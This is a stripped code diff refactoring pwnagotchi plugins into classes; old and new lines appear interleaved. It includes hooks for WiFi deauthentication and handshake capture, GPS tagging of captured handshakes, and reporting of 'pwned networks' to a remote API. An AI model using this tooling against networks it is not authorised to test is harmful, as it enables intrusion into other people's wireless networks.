||||
|
||||
# called when <host>:<port>/plugins/<pluginname> is opened
|
||||
def on_webhook(response, path):
|
||||
res = "<html><body><a>Hook triggered</a></body></html>"
|
||||
response.send_response(200)
|
||||
response.send_header('Content-type', 'text/html')
|
||||
response.end_headers()
|
||||
def __init__(self):
|
||||
logging.debug("example plugin created")
|
||||
|
||||
try:
|
||||
response.wfile.write(bytes(res, "utf-8"))
|
||||
except Exception as ex:
|
||||
logging.error(ex)
|
||||
# called when http://<host>:<port>/plugins/<plugin>/ is called
|
||||
# must return a html page
|
||||
# IMPORTANT: If you use "POST"s, add a csrf-token (via csrf_token() and render_template_string)
|
||||
def on_webhook(self, path, request):
|
||||
pass
|
||||
|
||||
# called when the plugin is loaded
|
||||
def on_loaded():
|
||||
logging.warning("WARNING: plugin %s should be disabled!" % __name__)
|
||||
# called when the plugin is loaded
|
||||
def on_loaded(self):
|
||||
logging.warning("WARNING: this plugin should be disabled! options = " % self.options)
|
||||
|
||||
# called hen there's internet connectivity
|
||||
def on_internet_available(self, agent):
|
||||
pass
|
||||
|
||||
# called in manual mode when there's internet connectivity
|
||||
def on_internet_available(agent):
|
||||
pass
|
||||
# called to setup the ui elements
|
||||
def on_ui_setup(self, ui):
|
||||
# add custom UI elements
|
||||
ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 - 25, 0),
|
||||
label_font=fonts.Bold, text_font=fonts.Medium))
|
||||
|
||||
# called when the ui is updated
|
||||
def on_ui_update(self, ui):
|
||||
# update those elements
|
||||
some_voltage = 0.1
|
||||
some_capacity = 100.0
|
||||
ui.set('ups', "%4.2fV/%2i%%" % (some_voltage, some_capacity))
|
||||
|
||||
# called to setup the ui elements
|
||||
def on_ui_setup(ui):
|
||||
# add custom UI elements
|
||||
ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 - 25, 0),
|
||||
label_font=fonts.Bold, text_font=fonts.Medium))
|
||||
# called when the hardware display setup is done, display is an hardware specific object
|
||||
def on_display_setup(self, display):
|
||||
pass
|
||||
|
||||
# called when everything is ready and the main loop is about to start
|
||||
def on_ready(self, agent):
|
||||
logging.info("unit is ready")
|
||||
# you can run custom bettercap commands if you want
|
||||
# agent.run('ble.recon on')
|
||||
# or set a custom state
|
||||
# agent.set_bored()
|
||||
|
||||
# called when the ui is updated
|
||||
def on_ui_update(ui):
|
||||
# update those elements
|
||||
some_voltage = 0.1
|
||||
some_capacity = 100.0
|
||||
# called when the AI finished loading
|
||||
def on_ai_ready(self, agent):
|
||||
pass
|
||||
|
||||
ui.set('ups', "%4.2fV/%2i%%" % (some_voltage, some_capacity))
|
||||
# called when the AI finds a new set of parameters
|
||||
def on_ai_policy(self, agent, policy):
|
||||
pass
|
||||
|
||||
# called when the AI starts training for a given number of epochs
|
||||
def on_ai_training_start(self, agent, epochs):
|
||||
pass
|
||||
|
||||
# called when the hardware display setup is done, display is an hardware specific object
|
||||
def on_display_setup(display):
|
||||
pass
|
||||
# called after the AI completed a training epoch
|
||||
def on_ai_training_step(self, agent, _locals, _globals):
|
||||
pass
|
||||
|
||||
# called when the AI has done training
|
||||
def on_ai_training_end(self, agent):
|
||||
pass
|
||||
|
||||
# called when everything is ready and the main loop is about to start
|
||||
def on_ready(agent):
|
||||
logging.info("unit is ready")
|
||||
# you can run custom bettercap commands if you want
|
||||
# agent.run('ble.recon on')
|
||||
# or set a custom state
|
||||
# agent.set_bored()
|
||||
# called when the AI got the best reward so far
|
||||
def on_ai_best_reward(self, agent, reward):
|
||||
pass
|
||||
|
||||
# called when the AI got the worst reward so far
|
||||
def on_ai_worst_reward(self, agent, reward):
|
||||
pass
|
||||
|
||||
# called when the AI finished loading
|
||||
def on_ai_ready(agent):
|
||||
pass
|
||||
# called when a non overlapping wifi channel is found to be free
|
||||
def on_free_channel(self, agent, channel):
|
||||
pass
|
||||
|
||||
# called when the status is set to bored
|
||||
def on_bored(self, agent):
|
||||
pass
|
||||
|
||||
# called when the AI finds a new set of parameters
|
||||
def on_ai_policy(agent, policy):
|
||||
pass
|
||||
# called when the status is set to sad
|
||||
def on_sad(self, agent):
|
||||
pass
|
||||
|
||||
# called when the status is set to excited
|
||||
def on_excited(self, agent):
|
||||
pass
|
||||
|
||||
# called when the AI starts training for a given number of epochs
|
||||
def on_ai_training_start(agent, epochs):
|
||||
pass
|
||||
# called when the status is set to lonely
|
||||
def on_lonely(self, agent):
|
||||
pass
|
||||
|
||||
# called when the agent is rebooting the board
|
||||
def on_rebooting(self, agent):
|
||||
pass
|
||||
|
||||
# called after the AI completed a training epoch
|
||||
def on_ai_training_step(agent, _locals, _globals):
|
||||
pass
|
||||
# called when the agent is waiting for t seconds
|
||||
def on_wait(self, agent, t):
|
||||
pass
|
||||
|
||||
# called when the agent is sleeping for t seconds
|
||||
def on_sleep(self, agent, t):
|
||||
pass
|
||||
|
||||
# called when the AI has done training
|
||||
def on_ai_training_end(agent):
|
||||
pass
|
||||
# called when the agent refreshed its access points list
|
||||
def on_wifi_update(self, agent, access_points):
|
||||
pass
|
||||
|
||||
# called when the agent is sending an association frame
|
||||
def on_association(self, agent, access_point):
|
||||
pass
|
||||
|
||||
# called when the AI got the best reward so far
|
||||
def on_ai_best_reward(agent, reward):
|
||||
pass
|
||||
# called when the agent is deauthenticating a client station from an AP
|
||||
def on_deauthentication(self, agent, access_point, client_station):
|
||||
pass
|
||||
|
||||
# callend when the agent is tuning on a specific channel
|
||||
def on_channel_hop(self, agent, channel):
|
||||
pass
|
||||
|
||||
# called when the AI got the worst reward so far
|
||||
def on_ai_worst_reward(agent, reward):
|
||||
pass
|
||||
# called when a new handshake is captured, access_point and client_station are json objects
|
||||
# if the agent could match the BSSIDs to the current list, otherwise they are just the strings of the BSSIDs
|
||||
def on_handshake(self, agent, filename, access_point, client_station):
|
||||
pass
|
||||
|
||||
# called when an epoch is over (where an epoch is a single loop of the main algorithm)
|
||||
def on_epoch(self, agent, epoch, epoch_data):
|
||||
pass
|
||||
|
||||
# called when a non overlapping wifi channel is found to be free
|
||||
def on_free_channel(agent, channel):
|
||||
pass
|
||||
# called when a new peer is detected
|
||||
def on_peer_detected(self, agent, peer):
|
||||
pass
|
||||
|
||||
|
||||
# called when the status is set to bored
|
||||
def on_bored(agent):
|
||||
pass
|
||||
|
||||
|
||||
# called when the status is set to sad
|
||||
def on_sad(agent):
|
||||
pass
|
||||
|
||||
|
||||
# called when the status is set to excited
|
||||
def on_excited(agent):
|
||||
pass
|
||||
|
||||
|
||||
# called when the status is set to lonely
|
||||
def on_lonely(agent):
|
||||
pass
|
||||
|
||||
|
||||
# called when the agent is rebooting the board
|
||||
def on_rebooting(agent):
|
||||
pass
|
||||
|
||||
|
||||
# called when the agent is waiting for t seconds
|
||||
def on_wait(agent, t):
|
||||
pass
|
||||
|
||||
|
||||
# called when the agent is sleeping for t seconds
|
||||
def on_sleep(agent, t):
|
||||
pass
|
||||
|
||||
|
||||
# called when the agent refreshed its access points list
|
||||
def on_wifi_update(agent, access_points):
|
||||
pass
|
||||
|
||||
|
||||
# called when the agent is sending an association frame
|
||||
def on_association(agent, access_point):
|
||||
pass
|
||||
|
||||
|
||||
# callend when the agent is deauthenticating a client station from an AP
|
||||
def on_deauthentication(agent, access_point, client_station):
|
||||
pass
|
||||
|
||||
|
||||
# callend when the agent is tuning on a specific channel
|
||||
def on_channel_hop(agent, channel):
|
||||
pass
|
||||
|
||||
|
||||
# called when a new handshake is captured, access_point and client_station are json objects
|
||||
# if the agent could match the BSSIDs to the current list, otherwise they are just the strings of the BSSIDs
|
||||
def on_handshake(agent, filename, access_point, client_station):
|
||||
pass
|
||||
|
||||
|
||||
# called when an epoch is over (where an epoch is a single loop of the main algorithm)
|
||||
def on_epoch(agent, epoch, epoch_data):
|
||||
pass
|
||||
|
||||
|
||||
# called when a new peer is detected
|
||||
def on_peer_detected(agent, peer):
|
||||
pass
|
||||
|
||||
|
||||
# called when a known peer is lost
|
||||
def on_peer_lost(agent, peer):
|
||||
pass
|
||||
# called when a known peer is lost
|
||||
def on_peer_lost(self, agent, peer):
|
||||
pass
|
||||
|
@@ -1,38 +1,38 @@
|
||||
__author__ = 'ratmandu@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'gpio_buttons'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'GPIO Button support plugin'
|
||||
|
||||
import logging
|
||||
import RPi.GPIO as GPIO
|
||||
import subprocess
|
||||
|
||||
running = False
|
||||
OPTIONS = dict()
|
||||
GPIOs = {}
|
||||
COMMANDs = None
|
||||
|
||||
def runCommand(channel):
|
||||
command = GPIOs[channel]
|
||||
logging.info(f"Button Pressed! Running command: {command}")
|
||||
process = subprocess.Popen(command, shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
process.wait()
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
|
||||
def on_loaded():
|
||||
logging.info("GPIO Button plugin loaded.")
|
||||
|
||||
#get list of GPIOs
|
||||
gpios = OPTIONS['gpios']
|
||||
class GPIOButtons(plugins.Plugin):
|
||||
__author__ = 'ratmandu@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'GPIO Button support plugin'
|
||||
|
||||
#set gpio numbering
|
||||
GPIO.setmode(GPIO.BCM)
|
||||
def __init__(self):
|
||||
self.running = False
|
||||
self.ports = {}
|
||||
self.commands = None
|
||||
|
||||
for i in gpios:
|
||||
gpio = list(i)[0]
|
||||
command = i[gpio]
|
||||
GPIOs[gpio] = command
|
||||
GPIO.setup(gpio, GPIO.IN, GPIO.PUD_UP)
|
||||
GPIO.add_event_detect(gpio, GPIO.FALLING, callback=runCommand, bouncetime=250)
|
||||
logging.info("Added command: %s to GPIO #%d", command, gpio)
|
||||
def runCommand(self, channel):
|
||||
command = self.ports[channel]
|
||||
logging.info(f"Button Pressed! Running command: {command}")
|
||||
process = subprocess.Popen(command, shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None,
|
||||
executable="/bin/bash")
|
||||
process.wait()
|
||||
|
||||
def on_loaded(self):
|
||||
logging.info("GPIO Button plugin loaded.")
|
||||
|
||||
# get list of GPIOs
|
||||
gpios = self.options['gpios']
|
||||
|
||||
# set gpio numbering
|
||||
GPIO.setmode(GPIO.BCM)
|
||||
|
||||
for gpio, command in gpios.items():
|
||||
self.ports[gpio] = command
|
||||
GPIO.setup(gpio, GPIO.IN, GPIO.PUD_UP)
|
||||
GPIO.add_event_detect(gpio, GPIO.FALLING, callback=self.runCommand, bouncetime=600)
|
||||
logging.info("Added command: %s to GPIO #%d", command, gpio)
|
||||
|
@@ -1,45 +1,116 @@
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'gps'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'Save GPS coordinates whenever an handshake is captured.'
|
||||
|
||||
import logging
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
|
||||
running = False
|
||||
OPTIONS = dict()
|
||||
import pwnagotchi.plugins as plugins
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
from pwnagotchi.ui.components import LabeledValue
|
||||
from pwnagotchi.ui.view import BLACK
|
||||
|
||||
|
||||
def on_loaded():
|
||||
logging.info("gps plugin loaded for %s" % OPTIONS['device'])
|
||||
class GPS(plugins.Plugin):
|
||||
__author__ = "evilsocket@gmail.com"
|
||||
__version__ = "1.0.0"
|
||||
__license__ = "GPL3"
|
||||
__description__ = "Save GPS coordinates whenever an handshake is captured."
|
||||
|
||||
def __init__(self):
|
||||
self.running = False
|
||||
self.coordinates = None
|
||||
|
||||
def on_ready(agent):
|
||||
global running
|
||||
def on_loaded(self):
|
||||
logging.info(f"gps plugin loaded for {self.options['device']}")
|
||||
|
||||
if os.path.exists(OPTIONS['device']):
|
||||
logging.info("enabling gps bettercap's module for %s" % OPTIONS['device'])
|
||||
try:
|
||||
agent.run('gps off')
|
||||
except:
|
||||
pass
|
||||
def on_ready(self, agent):
|
||||
if os.path.exists(self.options["device"]):
|
||||
logging.info(
|
||||
f"enabling bettercap's gps module for {self.options['device']}"
|
||||
)
|
||||
try:
|
||||
agent.run("gps off")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
agent.run('set gps.device %s' % OPTIONS['device'])
|
||||
agent.run('set gps.speed %d' % OPTIONS['speed'])
|
||||
agent.run('gps on')
|
||||
running = True
|
||||
else:
|
||||
logging.warning("no GPS detected")
|
||||
agent.run(f"set gps.device {self.options['device']}")
|
||||
agent.run(f"set gps.baudrate {self.options['speed']}")
|
||||
agent.run("gps on")
|
||||
self.running = True
|
||||
else:
|
||||
logging.warning("no GPS detected")
|
||||
|
||||
def on_handshake(self, agent, filename, access_point, client_station):
|
||||
if self.running:
|
||||
info = agent.session()
|
||||
self.coordinates = info["gps"]
|
||||
gps_filename = filename.replace(".pcap", ".gps.json")
|
||||
|
||||
def on_handshake(agent, filename, access_point, client_station):
|
||||
if running:
|
||||
info = agent.session()
|
||||
gps = info['gps']
|
||||
gps_filename = filename.replace('.pcap', '.gps.json')
|
||||
logging.info(f"saving GPS to {gps_filename} ({self.coordinates})")
|
||||
with open(gps_filename, "w+t") as fp:
|
||||
json.dump(self.coordinates, fp)
|
||||
|
||||
logging.info("saving GPS to %s (%s)" % (gps_filename, gps))
|
||||
with open(gps_filename, 'w+t') as fp:
|
||||
json.dump(gps, fp)
|
||||
def on_ui_setup(self, ui):
|
||||
# add coordinates for other displays
|
||||
if ui.is_waveshare_v2():
|
||||
lat_pos = (127, 75)
|
||||
lon_pos = (122, 84)
|
||||
alt_pos = (127, 94)
|
||||
elif ui.is_inky():
|
||||
# guessed values, add tested ones if you can
|
||||
lat_pos = (112, 30)
|
||||
lon_pos = (112, 49)
|
||||
alt_pos = (87, 63)
|
||||
else:
|
||||
# guessed values, add tested ones if you can
|
||||
lat_pos = (127, 51)
|
||||
lon_pos = (127, 56)
|
||||
alt_pos = (102, 71)
|
||||
|
||||
label_spacing = 0
|
||||
|
||||
ui.add_element(
|
||||
"latitude",
|
||||
LabeledValue(
|
||||
color=BLACK,
|
||||
label="lat:",
|
||||
value="-",
|
||||
position=lat_pos,
|
||||
label_font=fonts.Small,
|
||||
text_font=fonts.Small,
|
||||
label_spacing=label_spacing,
|
||||
),
|
||||
)
|
||||
ui.add_element(
|
||||
"longitude",
|
||||
LabeledValue(
|
||||
color=BLACK,
|
||||
label="long:",
|
||||
value="-",
|
||||
position=lon_pos,
|
||||
label_font=fonts.Small,
|
||||
text_font=fonts.Small,
|
||||
label_spacing=label_spacing,
|
||||
),
|
||||
)
|
||||
ui.add_element(
|
||||
"altitude",
|
||||
LabeledValue(
|
||||
color=BLACK,
|
||||
label="alt:",
|
||||
value="-",
|
||||
position=alt_pos,
|
||||
label_font=fonts.Small,
|
||||
text_font=fonts.Small,
|
||||
label_spacing=label_spacing,
|
||||
),
|
||||
)
|
||||
|
||||
def on_ui_update(self, ui):
|
||||
if self.coordinates and all([
|
||||
# avoid 0.000... measurements
|
||||
self.coordinates["Latitude"], self.coordinates["Longitude"]
|
||||
]):
|
||||
# last char is sometimes not completely drawn ¯\_(ツ)_/¯
|
||||
# using an ending-whitespace as workaround on each line
|
||||
ui.set("latitude", f"{self.coordinates['Latitude']:.4f} ")
|
||||
ui.set("longitude", f" {self.coordinates['Longitude']:.4f} ")
|
||||
ui.set("altitude", f" {self.coordinates['Altitude']:.1f}m ")
|
||||
|
@@ -1,10 +1,3 @@
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.1'
|
||||
__name__ = 'grid'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin signals the unit cryptographic identity and list of pwned networks and list of pwned ' \
|
||||
'networks to api.pwnagotchi.ai '
|
||||
|
||||
import os
|
||||
import logging
|
||||
import time
|
||||
@@ -12,18 +5,9 @@ import glob
|
||||
import re
|
||||
|
||||
import pwnagotchi.grid as grid
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi.utils import StatusFile, WifiInfo, extract_from_pcap
|
||||
|
||||
OPTIONS = dict()
|
||||
REPORT = StatusFile('/root/.api-report.json', data_format='json')
|
||||
|
||||
UNREAD_MESSAGES = 0
|
||||
TOTAL_MESSAGES = 0
|
||||
|
||||
|
||||
def on_loaded():
|
||||
logging.info("grid plugin loaded.")
|
||||
|
||||
|
||||
def parse_pcap(filename):
|
||||
logging.info("grid: parsing %s ..." % filename)
|
||||
@@ -57,93 +41,101 @@ def parse_pcap(filename):
|
||||
return info[WifiInfo.ESSID], info[WifiInfo.BSSID]
|
||||
|
||||
|
||||
def is_excluded(what):
|
||||
for skip in OPTIONS['exclude']:
|
||||
skip = skip.lower()
|
||||
what = what.lower()
|
||||
if skip in what or skip.replace(':', '') in what:
|
||||
return True
|
||||
return False
|
||||
class Grid(plugins.Plugin):
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.1'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin signals the unit cryptographic identity and list of pwned networks and list of pwned ' \
|
||||
'networks to api.pwnagotchi.ai '
|
||||
|
||||
def __init__(self):
|
||||
self.options = dict()
|
||||
self.report = StatusFile('/root/.api-report.json', data_format='json')
|
||||
|
||||
def set_reported(reported, net_id):
|
||||
global REPORT
|
||||
reported.append(net_id)
|
||||
REPORT.update(data={'reported': reported})
|
||||
self.unread_messages = 0
|
||||
self.total_messages = 0
|
||||
|
||||
def is_excluded(self, what):
|
||||
for skip in self.options['exclude']:
|
||||
skip = skip.lower()
|
||||
what = what.lower()
|
||||
if skip in what or skip.replace(':', '') in what:
|
||||
return True
|
||||
return False
|
||||
|
||||
def check_inbox(agent):
|
||||
global REPORT, UNREAD_MESSAGES, TOTAL_MESSAGES
|
||||
def on_loaded(self):
|
||||
logging.info("grid plugin loaded.")
|
||||
|
||||
logging.debug("checking mailbox ...")
|
||||
def set_reported(self, reported, net_id):
|
||||
reported.append(net_id)
|
||||
self.report.update(data={'reported': reported})
|
||||
|
||||
messages = grid.inbox()
|
||||
TOTAL_MESSAGES = len(messages)
|
||||
UNREAD_MESSAGES = len([m for m in messages if m['seen_at'] is None])
|
||||
def check_inbox(self, agent):
|
||||
logging.debug("checking mailbox ...")
|
||||
messages = grid.inbox()
|
||||
self.total_messages = len(messages)
|
||||
self.unread_messages = len([m for m in messages if m['seen_at'] is None])
|
||||
|
||||
if UNREAD_MESSAGES:
|
||||
logging.debug("[grid] unread:%d total:%d" % (UNREAD_MESSAGES, TOTAL_MESSAGES))
|
||||
agent.view().on_unread_messages(UNREAD_MESSAGES, TOTAL_MESSAGES)
|
||||
if self.unread_messages:
|
||||
plugins.on('unread_inbox', self.unread_messages)
|
||||
logging.debug("[grid] unread:%d total:%d" % (self.unread_messages, self.total_messages))
|
||||
agent.view().on_unread_messages(self.unread_messages, self.total_messages)
|
||||
|
||||
def check_handshakes(self, agent):
|
||||
logging.debug("checking pcaps")
|
||||
|
||||
def check_handshakes(agent):
|
||||
logging.debug("checking pcaps")
|
||||
pcap_files = glob.glob(os.path.join(agent.config()['bettercap']['handshakes'], "*.pcap"))
|
||||
num_networks = len(pcap_files)
|
||||
reported = self.report.data_field_or('reported', default=[])
|
||||
num_reported = len(reported)
|
||||
num_new = num_networks - num_reported
|
||||
|
||||
pcap_files = glob.glob(os.path.join(agent.config()['bettercap']['handshakes'], "*.pcap"))
|
||||
num_networks = len(pcap_files)
|
||||
reported = REPORT.data_field_or('reported', default=[])
|
||||
num_reported = len(reported)
|
||||
num_new = num_networks - num_reported
|
||||
if num_new > 0:
|
||||
if self.options['report']:
|
||||
logging.info("grid: %d new networks to report" % num_new)
|
||||
logging.debug("self.options: %s" % self.options)
|
||||
logging.debug(" exclude: %s" % self.options['exclude'])
|
||||
|
||||
if num_new > 0:
|
||||
if OPTIONS['report']:
|
||||
logging.info("grid: %d new networks to report" % num_new)
|
||||
logging.debug("OPTIONS: %s" % OPTIONS)
|
||||
logging.debug(" exclude: %s" % OPTIONS['exclude'])
|
||||
for pcap_file in pcap_files:
|
||||
net_id = os.path.basename(pcap_file).replace('.pcap', '')
|
||||
if net_id not in reported:
|
||||
if self.is_excluded(net_id):
|
||||
logging.debug("skipping %s due to exclusion filter" % pcap_file)
|
||||
self.set_reported(reported, net_id)
|
||||
continue
|
||||
|
||||
for pcap_file in pcap_files:
|
||||
net_id = os.path.basename(pcap_file).replace('.pcap', '')
|
||||
if net_id not in reported:
|
||||
if is_excluded(net_id):
|
||||
logging.debug("skipping %s due to exclusion filter" % pcap_file)
|
||||
set_reported(reported, net_id)
|
||||
continue
|
||||
|
||||
essid, bssid = parse_pcap(pcap_file)
|
||||
if bssid:
|
||||
if is_excluded(essid) or is_excluded(bssid):
|
||||
logging.debug("not reporting %s due to exclusion filter" % pcap_file)
|
||||
set_reported(reported, net_id)
|
||||
essid, bssid = parse_pcap(pcap_file)
|
||||
if bssid:
|
||||
if self.is_excluded(essid) or self.is_excluded(bssid):
|
||||
logging.debug("not reporting %s due to exclusion filter" % pcap_file)
|
||||
self.set_reported(reported, net_id)
|
||||
else:
|
||||
if grid.report_ap(essid, bssid):
|
||||
self.set_reported(reported, net_id)
|
||||
time.sleep(1.5)
|
||||
else:
|
||||
if grid.report_ap(essid, bssid):
|
||||
set_reported(reported, net_id)
|
||||
time.sleep(1.5)
|
||||
else:
|
||||
logging.warning("no bssid found?!")
|
||||
else:
|
||||
logging.debug("grid: reporting disabled")
|
||||
logging.warning("no bssid found?!")
|
||||
else:
|
||||
logging.debug("grid: reporting disabled")
|
||||
|
||||
def on_internet_available(self, agent):
|
||||
logging.debug("internet available")
|
||||
|
||||
def on_internet_available(agent):
|
||||
global REPORT, UNREAD_MESSAGES, TOTAL_MESSAGES
|
||||
try:
|
||||
grid.update_data(agent.last_session)
|
||||
except Exception as e:
|
||||
logging.error("error connecting to the pwngrid-peer service: %s" % e)
|
||||
logging.debug(e, exc_info=True)
|
||||
return
|
||||
|
||||
logging.debug("internet available")
|
||||
try:
|
||||
self.check_inbox(agent)
|
||||
except Exception as e:
|
||||
logging.error("[grid] error while checking inbox: %s" % e)
|
||||
logging.debug(e, exc_info=True)
|
||||
|
||||
try:
|
||||
grid.update_data(agent.last_session)
|
||||
except Exception as e:
|
||||
logging.error("error connecting to the pwngrid-peer service: %s" % e)
|
||||
logging.debug(e, exc_info=True)
|
||||
return
|
||||
|
||||
try:
|
||||
check_inbox(agent)
|
||||
except Exception as e:
|
||||
logging.error("[grid] error while checking inbox: %s" % e)
|
||||
logging.debug(e, exc_info=True)
|
||||
|
||||
try:
|
||||
check_handshakes(agent)
|
||||
except Exception as e:
|
||||
logging.error("[grid] error while checking pcaps: %s" % e)
|
||||
logging.debug(e, exc_info=True)
|
||||
try:
|
||||
self.check_handshakes(agent)
|
||||
except Exception as e:
|
||||
logging.error("[grid] error while checking pcaps: %s" % e)
|
||||
logging.debug(e, exc_info=True)
|
||||
|
159
pwnagotchi/plugins/default/led.py
Normal file
@@ -0,0 +1,159 @@
|
||||
from threading import Event
|
||||
import _thread
|
||||
import logging
|
||||
import time
|
||||
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
|
||||
class Led(plugins.Plugin):
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin blinks the PWR led with different patterns depending on the event.'
|
||||
|
||||
def __init__(self):
|
||||
self._is_busy = False
|
||||
self._event = Event()
|
||||
self._event_name = None
|
||||
self._led_file = "/sys/class/leds/led0/brightness"
|
||||
self._delay = 200
|
||||
|
||||
# called when the plugin is loaded
|
||||
def on_loaded(self):
|
||||
self._led_file = "/sys/class/leds/led%d/brightness" % self.options['led']
|
||||
self._delay = int(self.options['delay'])
|
||||
|
||||
logging.info("[led] plugin loaded for %s" % self._led_file)
|
||||
self._on_event('loaded')
|
||||
_thread.start_new_thread(self._worker, ())
|
||||
|
||||
def _on_event(self, event):
|
||||
if not self._is_busy:
|
||||
self._event_name = event
|
||||
self._event.set()
|
||||
logging.debug("[led] event '%s' set", event)
|
||||
else:
|
||||
logging.debug("[led] skipping event '%s' because the worker is busy", event)
|
||||
|
||||
def _led(self, on):
|
||||
with open(self._led_file, 'wt') as fp:
|
||||
fp.write(str(on))
|
||||
|
||||
def _blink(self, pattern):
|
||||
logging.debug("[led] using pattern '%s' ..." % pattern)
|
||||
for c in pattern:
|
||||
if c == ' ':
|
||||
self._led(0)
|
||||
else:
|
||||
self._led(1)
|
||||
time.sleep(self._delay / 1000.0)
|
||||
# reset
|
||||
self._led(1)
|
||||
|
||||
def _worker(self):
|
||||
while True:
|
||||
self._event.wait()
|
||||
self._event.clear()
|
||||
self._is_busy = True
|
||||
|
||||
try:
|
||||
if self._event_name in self.options['patterns']:
|
||||
pattern = self.options['patterns'][self._event_name]
|
||||
self._blink(pattern)
|
||||
else:
|
||||
logging.debug("[led] no pattern defined for %s" % self._event_name)
|
||||
except Exception as e:
|
||||
logging.exception("[led] error while blinking")
|
||||
|
||||
finally:
|
||||
self._is_busy = False
|
||||
|
||||
# called when the unit is updating its software
|
||||
def on_updating(self):
|
||||
self._on_event('updating')
|
||||
|
||||
# called when there's one or more unread pwnmail messages
|
||||
def on_unread_inbox(self, num_unread):
|
||||
self._on_event('unread_inbox')
|
||||
|
||||
# called when there's internet connectivity
|
||||
def on_internet_available(self, agent):
|
||||
self._on_event('internet_available')
|
||||
|
||||
# called when everything is ready and the main loop is about to start
|
||||
def on_ready(self, agent):
|
||||
self._on_event('ready')
|
||||
|
||||
# called when the AI finished loading
|
||||
def on_ai_ready(self, agent):
|
||||
self._on_event('ai_ready')
|
||||
|
||||
# called when the AI starts training for a given number of epochs
|
||||
def on_ai_training_start(self, agent, epochs):
|
||||
self._on_event('ai_training_start')
|
||||
|
||||
# called when the AI got the best reward so far
|
||||
def on_ai_best_reward(self, agent, reward):
|
||||
self._on_event('ai_best_reward')
|
||||
|
||||
# called when the AI got the worst reward so far
|
||||
def on_ai_worst_reward(self, agent, reward):
|
||||
self._on_event('ai_worst_reward')
|
||||
|
||||
# called when the status is set to bored
|
||||
def on_bored(self, agent):
|
||||
self._on_event('bored')
|
||||
|
||||
# called when the status is set to sad
|
||||
def on_sad(self, agent):
|
||||
self._on_event('sad')
|
||||
|
||||
# called when the status is set to excited
|
||||
def on_excited(self, agent):
|
||||
self._on_event('excited')
|
||||
|
||||
# called when the status is set to lonely
|
||||
def on_lonely(self, agent):
|
||||
self._on_event('lonely')
|
||||
|
||||
# called when the agent is rebooting the board
|
||||
def on_rebooting(self, agent):
|
||||
self._on_event('rebooting')
|
||||
|
||||
# called when the agent is waiting for t seconds
|
||||
def on_wait(self, agent, t):
|
||||
self._on_event('wait')
|
||||
|
||||
# called when the agent is sleeping for t seconds
|
||||
def on_sleep(self, agent, t):
|
||||
self._on_event('sleep')
|
||||
|
||||
# called when the agent refreshed its access points list
|
||||
def on_wifi_update(self, agent, access_points):
|
||||
self._on_event('wifi_update')
|
||||
|
||||
# called when the agent is sending an association frame
|
||||
def on_association(self, agent, access_point):
|
||||
self._on_event('association')
|
||||
|
||||
# called when the agent is deauthenticating a client station from an AP
|
||||
def on_deauthentication(self, agent, access_point, client_station):
|
||||
self._on_event('deauthentication')
|
||||
|
||||
# called when a new handshake is captured, access_point and client_station are json objects
|
||||
# if the agent could match the BSSIDs to the current list, otherwise they are just the strings of the BSSIDs
|
||||
def on_handshake(self, agent, filename, access_point, client_station):
|
||||
self._on_event('handshake')
|
||||
|
||||
# called when an epoch is over (where an epoch is a single loop of the main algorithm)
|
||||
def on_epoch(self, agent, epoch, epoch_data):
|
||||
self._on_event('epoch')
|
||||
|
||||
# called when a new peer is detected
|
||||
def on_peer_detected(self, agent, peer):
|
||||
self._on_event('peer_detected')
|
||||
|
||||
# called when a known peer is lost
|
||||
def on_peer_lost(self, agent, peer):
|
||||
self._on_event('peer_lost')
|
@@ -17,48 +17,66 @@
|
||||
# - Added horizontal and vertical orientation
|
||||
#
|
||||
###############################################################
|
||||
|
||||
__author__ = 'https://github.com/xenDE'
|
||||
__version__ = '1.0.1'
|
||||
__name__ = 'memtemp'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'A plugin that will display memory/cpu usage and temperature'
|
||||
|
||||
from pwnagotchi.ui.components import LabeledValue
|
||||
from pwnagotchi.ui.view import BLACK
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
import pwnagotchi.plugins as plugins
|
||||
import pwnagotchi
|
||||
import logging
|
||||
|
||||
OPTIONS = dict()
|
||||
|
||||
class MemTemp(plugins.Plugin):
|
||||
__author__ = 'https://github.com/xenDE'
|
||||
__version__ = '1.0.1'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'A plugin that will display memory/cpu usage and temperature'
|
||||
|
||||
def on_loaded():
|
||||
logging.info("memtemp plugin loaded.")
|
||||
def on_loaded(self):
|
||||
logging.info("memtemp plugin loaded.")
|
||||
|
||||
def mem_usage(self):
|
||||
return int(pwnagotchi.mem_usage() * 100)
|
||||
|
||||
def mem_usage():
|
||||
return int(pwnagotchi.mem_usage() * 100)
|
||||
def cpu_load(self):
|
||||
return int(pwnagotchi.cpu_load() * 100)
|
||||
|
||||
def on_ui_setup(self, ui):
|
||||
if ui.is_waveshare_v2():
|
||||
h_pos = (180, 80)
|
||||
v_pos = (180, 61)
|
||||
elif ui.is_inky():
|
||||
h_pos = (140, 68)
|
||||
v_pos = (165, 54)
|
||||
else:
|
||||
h_pos = (155, 76)
|
||||
v_pos = (180, 61)
|
||||
